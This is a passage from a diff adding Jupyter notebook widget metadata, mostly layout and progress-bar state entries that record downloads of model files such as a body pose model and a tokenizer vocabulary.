"DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "3ff34cbabc564abebd12a9e5e19786b0": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_02648abd8847434496722b0c5bb69858", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e3b2deb57c0644dcbf97297abf22f91c", + "value": 334643276 + } + }, + "40ef1d0b44164265bea4eea32ce1b907": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_72d25c37112c403eaf801833a03a47b2", + "max": 334643276, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_8c4e2621ec244a2db21262a8ed0e4ab7", + "value": 334643276 + } + }, + "41b442152042436ea0703d3c1181824d": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_18a72653fc284d29be02e4d2a477ecdd", + "placeholder": "​", + "style": "IPY_MODEL_ff1597bd843b4770b93ffa71f0b05da4", + "value": " 743/743 [00:00<00:00, 8.46kB/s]" + } + }, + "41cb4b504f3e45ea847e1cd74ae449d0": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42109c92a03c45cabd7fbb0cc7cf1c4a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_5056e439bb4b4bad8b0694c79138424f", + "max": 806, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7d6d17a2798c41c6b27c25e1057869a3", + "value": 806 + } + }, + "425d719b752b4a1480f8c3f8b9388e50": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8ff9c129cb434f9bbab238f1779c9b0b", + "max": 492265874, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_7e5f077830e94e278b213ee5f11739d9", + "value": 492265874 + } + }, + "4276b44c60b64716ab7ad52d8354bc1f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "42cabc32ffc34ddd924fde45571ada38": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4332d0e942ea406daeca4e1bbd36d4cb": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "43820ed672c04bbf80155b25c4e4de15": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4399ee6304e94797ac6f36318165d4cc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "439ee7b8de924bf6ba5ee4ef22e0e659": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44223dcee3694e168e866af5f69aaad4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "445925a5c9da455c90fd9225ab521c1f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "44bc01157b4945b7b81401f978dce8ca": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "44d7b2f89c984dcda69f368adbdf846f": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "452c129fabca48efa832b81481703bab": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "455bc344fe60421da1ac931657cbd162": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4615b3c5ce674070840fbb7bcb54f262": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_23a9e406e89041f8ab9a15eae4f9c61b", + "placeholder": "​", + "style": "IPY_MODEL_f18d3449a23c485a85e38f0ced810c99", + "value": " 920/920 [00:00<00:00, 16.9kB/s]" + } + }, + "47507d2cf4e04f2f927ee369c6d7b4d4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_b4e865be02fb4290849b676f4dd18ed0", + "max": 9876, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_87d4c1e6a2a047f887704f6b0a148d2e", + "value": 9876 + } + }, + "475c331703bb43adb142f6c9cc41a3bf": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c45aec98de234d3982ff83924dce8d7a", + "placeholder": "​", + "style": "IPY_MODEL_942ace43ed1d48aeafc6c5e17f14e034", + "value": "100%" + } + }, + "483e47a822fe43d6ae4c114bfbb8be8a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c905c8d69bcb404aa39ca499c96549e3", + "IPY_MODEL_bd5c5827932b4dabbac38adb33544e48", + "IPY_MODEL_dddba90edf87434aa404eea38eaa63f2" + ], + "layout": "IPY_MODEL_a32f66c9b59e4ae2bca41c1c582119e7" + } + }, + "485caac1aa1641a3b31827620ddfa3e4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_bcd48b3b056c4c14b6034ef32fdde5d5", + "max": 472, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_948f2f29870b4ee7974ddad6ba18397d", + "value": 472 + } + }, + "48a26564f08f43dd962464feb762c232": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_c6965bc561db4c519b751c5b7bff96a8", + "IPY_MODEL_032471548f5c45ed89d8a62db800c7fc", + "IPY_MODEL_0af102aac55747fcb8854b8b5ed2dd27" + ], + "layout": "IPY_MODEL_a086d1c6722547d5be5939cf4284a1ef" + } + }, + "48dabed3f2ce465ab16a704e0c6b12f7": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_962917ac2b044e5989e88100ceb45296", + "placeholder": "​", + "style": "IPY_MODEL_a212be07369b404eb9f04a9cde6543d4", + "value": "Downloading body_pose_model.pth: 100%" + } + }, + "48ec35653f99446db9cefabe146bb2d8": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_6d699038776e4fad8bb74d2381109b65", + "placeholder": "​", + "style": "IPY_MODEL_38dd90648c1949b196ebf27fb21436ba", + "value": " 525k/525k [00:00<00:00, 735kB/s]" + } + }, + "4900e42f3bfa4a6096b16d47d38687dc": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_c39f69cd4e8b4bca8e95bda3b06a74f1", + "placeholder": "​", + "style": "IPY_MODEL_f8dbc4c64a0d440e9660b0d7ef083b5c", + "value": " 20/20 [00:10<00:00, 4.77it/s]" + } + }, + "4a3a0d14e22f4a6e9dbb5fb35bc33e8d": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4a3c28369fc14bbebdc749d0b3a5747b": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4af5ce87c2a243238375d7edf93d08b2": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4b4b8aee32724ff5b0a40f9af956fe72": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "FloatProgressModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "FloatProgressModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "ProgressView", + "bar_style": "success", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_15c1713762124e828b20f54684e496d0", + "max": 920, + "min": 0, + "orientation": "horizontal", + "style": "IPY_MODEL_e16487cbe8d74b5baad0d41dbdeeedbb", + "value": 920 + } + }, + "4bf53145f39644d2bf5c3e31f9f23b1a": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "ProgressStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "ProgressStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "bar_color": null, + "description_width": "" + } + }, + "4c8fa5fd3d224ce694243ea790de8986": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_28baa1ec6f3c46309c04f2c8462b1798", + "placeholder": "​", + "style": "IPY_MODEL_9cc4d939cc454a0da5eb7bdd234f69b5", + "value": "Downloading (…)tokenizer/vocab.json: 100%" + } + }, + "4cb413851dc3469a8ea04e40373b11de": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HTMLModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HTMLModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HTMLView", + "description": "", + "description_tooltip": null, + "layout": "IPY_MODEL_8d2f2b219308442db07d23b057f8e7cf", + "placeholder": "​", + "style": "IPY_MODEL_7b9508943bee4f76b996ba561d4bbe9b", + "value": "100%" + } + }, + "4d73b627ecc74bf7ad18f5effa245097": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4e264753749d48a8aab85b9f8fe30aba": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "4ec20db88a97441982a914517888a8b4": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4f425c415dac44b3b86aa4f481254196": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "HBoxModel", + "state": { + "_dom_classes": [], + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "HBoxModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/controls", + "_view_module_version": "1.5.0", + "_view_name": "HBoxView", + "box_style": "", + "children": [ + "IPY_MODEL_97ffad3c1b6e4c9c9621966c028c12aa", + "IPY_MODEL_3c2af8d5617b4b878b2e68f3fc7ebff6", + "IPY_MODEL_8d27414ca68a4494ab3febc1c8a03025" + ], + "layout": "IPY_MODEL_10f4d1976dc04c3bb651b45c08298fab" + } + }, + "4f4bfc7bd24148e6ac524b57cc6d8020": { + "model_module": "@jupyter-widgets/controls", + "model_module_version": "1.5.0", + "model_name": "DescriptionStyleModel", + "state": { + "_model_module": "@jupyter-widgets/controls", + "_model_module_version": "1.5.0", + "_model_name": "DescriptionStyleModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "StyleView", + "description_width": "" + } + }, + "4fbfe981703e4365a6e944cb9f3913d5": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "5056e439bb4b4bad8b0694c79138424f": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": null, + "order": null, + "overflow": null, + "overflow_x": null, + "overflow_y": null, + "padding": null, + "right": null, + "top": null, + "visibility": null, + "width": null + } + }, + "51605e182e344a94a99c50fcaaef17b1": { + "model_module": "@jupyter-widgets/base", + "model_module_version": "1.2.0", + "model_name": "LayoutModel", + "state": { + "_model_module": "@jupyter-widgets/base", + "_model_module_version": "1.2.0", + "_model_name": "LayoutModel", + "_view_count": null, + "_view_module": "@jupyter-widgets/base", + "_view_module_version": "1.2.0", + "_view_name": "LayoutView", + "align_content": null, + "align_items": null, + "align_self": null, + "border": null, + "bottom": null, + "display": null, + "flex": null, + "flex_flow": null, + "grid_area": null, + "grid_auto_columns": null, + "grid_auto_flow": null, + "grid_auto_rows": null, + "grid_column": null, + "grid_gap": null, + "grid_row": null, + "grid_template_areas": null, + "grid_template_columns": null, + "grid_template_rows": null, + "height": null, + "justify_content": null, + "justify_items": null, + "left": null, + "margin": null, + "max_height": null, + "max_width": null, + "min_height": null, + "min_width": null, + "object_fit": null, + "object_position": 